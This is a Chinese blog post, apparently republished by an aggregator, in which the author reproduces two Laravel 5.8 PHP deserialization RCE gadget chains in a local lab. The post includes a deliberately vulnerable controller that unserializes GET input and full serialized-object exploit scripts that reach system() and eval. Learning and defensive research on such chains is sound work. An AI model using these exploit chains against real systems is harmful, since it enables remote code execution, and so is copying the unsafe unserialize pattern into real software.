laravel5.8 反序列化漏洞复现
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了laravel5.8 反序列化漏洞复现相关的知识,希望对你有一定的参考价值。
1. 前言
依旧跟着feng师傅学吧,
还是再github上下载源码:laravel5.8。往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。
如果提示 Allowed memory size of bytes exhausted,参考这篇文章:运行 composer update,提示 Allowed memory size of bytes exhausted
如果想我这里一样:就报个error。。(弄好之后没那个报错页面了。,,)
报错,那就找错,纠错,,首先去看日志:D:\\phpstudy_pro\\WWW\\fuxian\\laravel-5.8\\storage\\logs
.然后搜一搜就好。
我的爆错就是这个,然后这篇文章就解决了解决了:Laravel框架运行出错提示RuntimeException No application encryption key has been specified.解决方法
在route.php中写一个路由,再创建一个控制器:
Route::get('/unserialize',"UnserializeController@uns");
控制器:
<?php
namespace App\\Http\\Controllers;
class UnserializeController extends Controller
{
public function uns(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "uns";
}
}
然后cmd进入当前的项目的根目录,输入:
php artisan serve
启动laravel框架,和tp一样,会在本地启动,然后网页访问成功。
POC1
__destruct
是万恶之源,这次的__destruct
是PendingBroadcast.php
的__destruct()
:
this->events 和 this->enent 都可控,
单个参数的 dispatch() ,可控有没有哪个类的dispatch可以利用,实在不行的话就找__call()了。
function dispatch\\(\\$\\w+\\)
经过搜索,发现Dispatcher类的dispatch()
很好用:
先直接看一些return的 内容,
跟进一下dispatchToQueue()
方法:
两个event可控,然后传入的command
也可控,则call_user_func()
的两个参数也都可控,
$command
要是一个类,并且该类的connection属性是命令执行的参数,
然后$this->queueResolver
我们是可控的,
那我们就回头看一下进入的if条件是什么:
跟进一下commandShouldBeQueued()
:
需要$command
是一个实现了ShouldQueue
接口的对象,全局搜索一下,还挺多的,随便找一个用就可以了,这里我用的是QueuedCommand
类。
这样就if判断成功,进入dispatchToQueue()
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
但别忘了,我们之前说过的哪个,call_user_func()
函数的参数需要是$connect->conenction
啊。但是我们这个没有connection属性啊,。。这个没事到时候反序列还给他加进去进行了。
POC如下:
<?php
namespace Illuminate\\Broadcasting
{
use Illuminate\\Bus\\Dispatcher;
use Illuminate\\Foundation\\Console\\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct()
{
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace Illuminate\\Foundation\\Console
{
class QueuedCommand
{
public $connection = 'dir';
}
}
namespace Illuminate\\Bus
{
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver='system';
}
}
}
namespace
{
use Illuminate\\Broadcasting\\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
报错了。其实有想到过。因为:queueResoler
不能简简单单的就是一个system
就对了。
其实也知道哪里的错误,我们也打一下断电看一看吧,
是这里的原因,结果是能够执行的。
但是不是这个 Queue 的接口,所以抛出错误,,,
有趣的是,,,我debug的时候,一半的时候停止了。然后就能够看到报错了。这样,我们用burp抓一下包,应该就能够看到了。
嗯嗯,果然就看到了。
调用任意类的方法:
既然可以调用任何的函数,参数也可控,可以尝试以下寻找可用的类的方法。就是call_user_func()来调用eval就是了。
全局搜索eval
,发现EvalLoader
类的load
方法:
这个这个,
$definition 是 MockDefinition类的实例
哦哦哦,是这个意思啊,
然后跟进 getCode()
code可控,就是$definition
的一个属性,
再看看绕过上面的哪个if函数,跟进getClassName()
:
全都可控,直接写POC得了.:
遇到的困难点:
这个queueResolver
需要是 类EvalLoader的load()方法,但是我不会表示方法啊,
然后feng师傅是这样表示的:
$this->queueResolver = [new EvalLoader(),'load']
tqltql,也是我菜,记得以前做反序列化题目的时候, 也是这样表示过一个类的方法的,但是忘记了.
我后面应该给$connection
传入什么值也想不明白: load()的参数需要是一个 MockDefinition 类的实例,那就直接来吧,
POC:
我自己写的和feng师傅的差不多,这里直接用feng师傅的了.
<?php
namespace Illuminate\\Broadcasting{
use Illuminate\\Bus\\Dispatcher;
use Illuminate\\Foundation\\Console\\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\\Foundation\\Console{
use Mockery\\Generator\\MockDefinition;
class QueuedCommand
{
public $connection;
public function __construct(){
$this->connection=new MockDefinition();
}
}
}
namespace Illuminate\\Bus{
use Mockery\\Loader\\EvalLoader;
class Dispatcher
{
protected $queueResolver;
public function __construct(){
$this->queueResolver=[new EvalLoader(),'load'];
}
}
}
namespace Mockery\\Loader{
class EvalLoader
{
}
}
namespace Mockery\\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct()
{
$this->code="<?php phpinfo();exit()?>";
$this->config=new MockConfiguration();
}
}
class MockConfiguration
{
protected $name="feng";
}
}
namespace{
use Illuminate\\Broadcasting\\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
这个POC就更加舒服了,因为利用的是eval,可以任意执行代码,不仅仅局限于单参数的函数了。而且注意这个:$this->code="<?php phpinfo();exit()?>";
. …
加上了exit()
,提前结束了进程,这样调用完call_user_func
,后面的代码就不会执行,也就不会抛出异常了,更加好了。
小疑问(已经解决)
看这个PCO是有疑问的:’
疑问11:
这个eval这里,我们是要使得这 if 判断 错误的 但是,我们后买你操作了那么多的 name 和 config ,不就使得它 得到了 返回值name了吗?
对的,对的.这时候,你看feng师傅里面的POC,返回的name是 feng. 显然不存在 feng 这里类 的, 所以不存在类名,所以 if 判断失败,执行后面的eval函数,
疑问2:
call_user_func()
中的$connect->connection
没了,不是命令了,那么就执行不了call_user_func()
了呀,那为什么最后还RCE了呢?
因为我们后来用的是eval,那么call_user_func就是 无参函数了.所以后面的connection是空就行了…所以也就不用comand了.,
POC2
这条链laravel默认是没有的,存在于symfony组件中,之前进行的操作:
往composer.json的require里面加上"symfony/symfony": “4.*”,然后composer update。
就安装了这个组件了。
起点在TagAwareAdapter类的__destruct()
方法中,不过我一看怎么上面还有个__wakeup
:
可能是symfony版本的问题?为了复现,先把这个__wakeup()
删掉。(我还以为要用哪个属性大于真实属性的个数这个CVE呢,,,应该早就修复了吧????)
跟进一下commit()
:
再跟进一下invalidateTags()
:
/**
* {@inheritdoc}
*/
public function invalidateTags(array $tags)
{
$ok = true;
$tagsByKey = [];
$invalidatedTags = [];
foreach ($tags as $tag) {
CacheItem::validateKey($tag);
$invalidatedTags[$tag] = 0;
}
if ($this->deferred) {
$items = $this->deferred;
foreach ($items as $key => $item) {
if (!$this->pool->saveDeferred($item)) {
unset($this->deferred[$key]);
$ok = false;
}
}
$f = $this->getTagsByKey;
$tagsByKey = $f($items);
$this->deferred = [];
}
$tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
$f = $this->createCacheItem;
foreach ($tagsByKey as $key => $tags) {
$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
}
$ok = $this->pool->commit() && $ok;
if ($invalidatedTags) {
$f = $this->invalidateTags;
$ok = $f($this->tags, $invalidatedTags) && $ok;
}
return $ok;
}
注意到this->deferred
可控:
找了以下$this->pool
,发现它是在__construct(
)里出现的,类似于这样:(这个是feng师傅找的,,,我没有找到 啊。。。)
<?php
class test
{
public $a;
public $b;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
}
$a=new test();
var_dump($a);
动态的声明了属性(?????啊这,,就是后面调用个方法再给实例增加属性呗,,我还以为啥来着,,)。考虑到这里pool可以随意声明,那么找一个合适的类,它的saveDeferred
方法可以利用。
经过寻找,发现ProxyAdapter
类的saveDeferred
可以利用:
这个和上面那个一样,意思是 这个接口的一个实例化,,不是的话,就会报错的。
跟进doSave()
:
利用点就在这里:
相当于使用一个双参数的函数,而system正好最多是2个参数:
POC:
<?php
namespace Symfony\\Component\\Cache {
class CacheItem{
protected $expiry;
private $defaultLifetime;
protected $poolHash;
protected $innerItem;
public function __construct(){
$this->expiry = null;
$this->defaultLifetime = 10; # 比 0 大就行
$this->poolHash = 100;
$this->innerItem = 'dir' ; # 这个是RCE的第一个参数 , 这个不会,看的feng师傅的,
}
}
}
namespace Symfony\\Component\\Cache\\Adapter {
use Symfony\\Component\\Cache\\CacheItem;
class ProxyAdapter{
private $poolHash;
private $setInnerItem;
public function __construct(){
$this->poolHash = 100; # 这个要和上面的那个poolhash相等。
$this->setInnerItem = 'system';
}
}
class TagAwareAdapter{
public $pool;
private $deferred ;
public function __construct(){
$this->deferred = array('hello'=>new CacheItem());
$this->pool = new ProxyAdapter();
}
}
}
namespace {
use Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter;
echo (urlencode(serialize(new TagAwareAdapter())));
}
不懂的,奇怪的地方
debug能de出来,但是还是不明白,system('dir',array(xx,xxxx,xxx,xx))
。这样也行的吗??我后面的$item
都是个大数组了。竟然还能够执行system命令,,,好奇怪啊
晓得了,其实feng师傅在文章开头哪里就说了。会存在后面的这个数组里面,但是当时我没看明白, 这次自己过一遍之后才明白的,也就是我们的system(‘dir’)之后,把结果放到了$item
这个数字里面去了。
这里:还没有执行system命令的时候,$item
数字还是那个类实例化,然后强转数组之后的形态,。然后我们再debug一下:就没了,就存放结果了应该,然后后面就是报错的了。
出了出了,
F12一样能出。
稍微解释一下:(嘿嘿嘿,自己写的POC,没看feng师傅滴~,就那个dir看了,不知道system传入两个参数的时候该传入什么东西)
但是我们的$item
是这个类实例,不满足条件啊,没事往下看,
它继承自这个接口,
然后这个接口又继承自所要求的接口,就对上了。
3. 学到的
-
当我们所要构造的类中没有我们需要的属性的时候,比如:
$connet->connection
原始类中没有,但是我们反序列化过程中还需要,那没事,我们直接定义一个public $connection
就好了。 -
有时候抛出的报错会把我们的RCE给掩盖住,这个时候可以burp抓包就能看到。如果是本地调试的话,debug的时候,中间结束的时候,也能看到。
-
有时候我们想让一个 if 判断失败,我们不能够直接粗暴地给他随便赋一个值,然后让他报错,我们要调通它,要正常地判断错误,而不是报错,报错是不行的.
-
PHP的动态声明属性???。。垃圾,,就是后面用一个方法操作一下属性 而已
-
system()执行两个参数的命令,RCE
-
注意,如果类中没有我们想要的属性的话,直接自己弄上就行了。要求是类型要对,是什么的接口类,就什么东西,
以上是关于laravel5.8 反序列化漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章